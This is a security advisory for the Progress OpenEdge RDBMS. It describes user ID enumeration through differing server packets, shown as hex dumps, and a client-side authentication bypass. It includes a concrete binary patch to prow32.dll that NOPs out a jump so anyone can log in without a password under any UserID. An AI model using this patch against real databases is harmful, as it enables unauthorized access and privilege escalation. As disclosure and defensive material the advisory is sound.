Description


Progress OpenEdge Enterprise RDBMS (formerly known as the Progress RDBMS) is a high-efficiency relational database management system by company Progress Software Corp productions.It is widely used as backend for cutomezed ERP systems. This RDBMS has some vulnerabilities that make possible to enumerate UserID and bypass authentification.

Details


  1. UserID enumerate

Attacker can get valid UserID. It is possible because OpenEdge RDBMS server give different answers for situation when password is incorrect and when UserID does not exist. Client application in both way gives the same message - “Your Password and UserID <USERID> do not much”. But in network layer answers from server are different:

Packet 1. From server to client, if UserID exist (UserID eq AAA):

0x0000 00 00 00 00 00 01 00 00-00 00 00 02 08 00 45 00 ..............E. 0x0010 00 C3 00 00 00 00 40 06-7C 33 7F 00 00 01 7F 00 .A....@.|3.... 0x0020 00 01 0B B8 10 42 56 07-00 00 00 00 00 00 50 00 ...?.BV.......P. 0x0030 40 00 00 00 00 00 00 00-00 07 00 2D 00 9B 00 4F @..........-.›.O 0x0040 00 18 00 01 00 00 00 00-00 00 00 00 00 00 00 00 ................ 0x0050 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 0x0060 00 00 00 02 00 00 00 01-00 00 7F 68 00 4F FF FB ..........h.Oyu 0x0070 00 00 00 00 00 00 0F 02-00 00 00 00 00 00 00 00 ................ 0x0080 22 C0 E7 00 02 00 3C 01-FB 03 41 41 41 10 72 6D "Ac...<.u.AAA.rm 0x0090 57 78 6A 69 64 4E 63 6E-4D 64 6D 69 61 63 03 41 WxjidNcnMdmiac.A 0x00A0 41 41 FA 00 09 FD FD FD-FD FD FD FD FD FF FA 00 AAu..yyyyyyyyyu. 0x00B0 09 FD FD FD FD FD FD FD-FD FF FD FD FD FD FD FD .yyyyyyyyyyyyyyy 0x00C0 FD FD FD FD FD FD FD FD-FD FD FD FD FD FD FD FD yyyyyyyyyyyyyyyy 0x00D0 FD y

Packet 2. From server to client, if UserId does not exist:

0x0000 00 00 00 00 00 01 00 00-00 00 00 02 08 00 45 00 ..............E. 0x0010 00 74 00 00 00 00 40 06-7C 82 7F 00 00 01 7F 00 .t....@.|‚.... 0x0020 00 01 0B B8 10 45 56 07-00 00 00 00 00 00 50 00 ...?.EV.......P. 0x0030 40 00 00 00 00 00 00 00-00 07 00 2D 00 4C FB 41 @..........-.LuA 0x0040 00 18 00 01 00 00 00 00-00 00 00 00 00 00 00 00 ................ 0x0050 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 0x0060 00 00 00 02 00 00 00 01-00 00 7F 68 00 00 FF FB ..........h..yu

So attacker can connect to RDBMS server with different UserID and see network answers for getting existing UserID.

  1. Authentication bypass

Remote attacker can log in into RDBMS use existing or not existing UserID without password. It is possible because authentication process is going on client side. When password incorrect client application reset connection with server and show message box. If password is correct, client send to server UserID which he will be to use in RDBMS.

Packet 3. From client to server, when password for UserID TEST2 is correct:

0x0000 00 00 00 00 00 02 00 00-00 00 00 01 08 00 45 00 ..............E. 0x0010 00 6E 00 00 00 00 40 06-7C 88 7F 00 00 01 7F 00 .n....@.|?.... 0x0020 00 01 0B 27 0B B8 13 03-00 00 00 00 00 00 50 00 ...'.?........P. 0x0030 40 00 00 00 00 00 00 00-00 09 00 14 00 46 00 00 @............F.. 0x0040 00 18 00 01 00 00 00 00-00 00 00 00 00 00 00 00 ................ 0x0050 00 00 00 00 00 00 00 00-00 00 00 00 00 00 55 73 ..............Us 0x0060 65 72 69 64 20 69 73 20-6E 6F 77 20 54 45 53 54 erid is now TEST 0x0070 32 2E 20 28 37 30 38 29-00 00 00 00 2. (708)....

Example of attack:

    Patch of &#37;OpenEdge&#37;&#92;bin&#92;prow32.dll &#40;for version 10.2A&#41;

    Begin address: 0x020065
    - 0f85ce020000
    + 909090909090

After that run DataAdministration(%OpenEdge%\bin\prowin32.exe) and try to enter into RDBMS with any UserID and without password. Application show error message box, but allow to enter into RDBMS with chosen UserId. If chosen UserID has a Security Administrator privileges, so attacker gets this privileges. By default in OpenEdge RDBMS all users have Security Administrator privileges.

Fix Information


The only one possible fix is to use Windows authentication instead of proprietary.
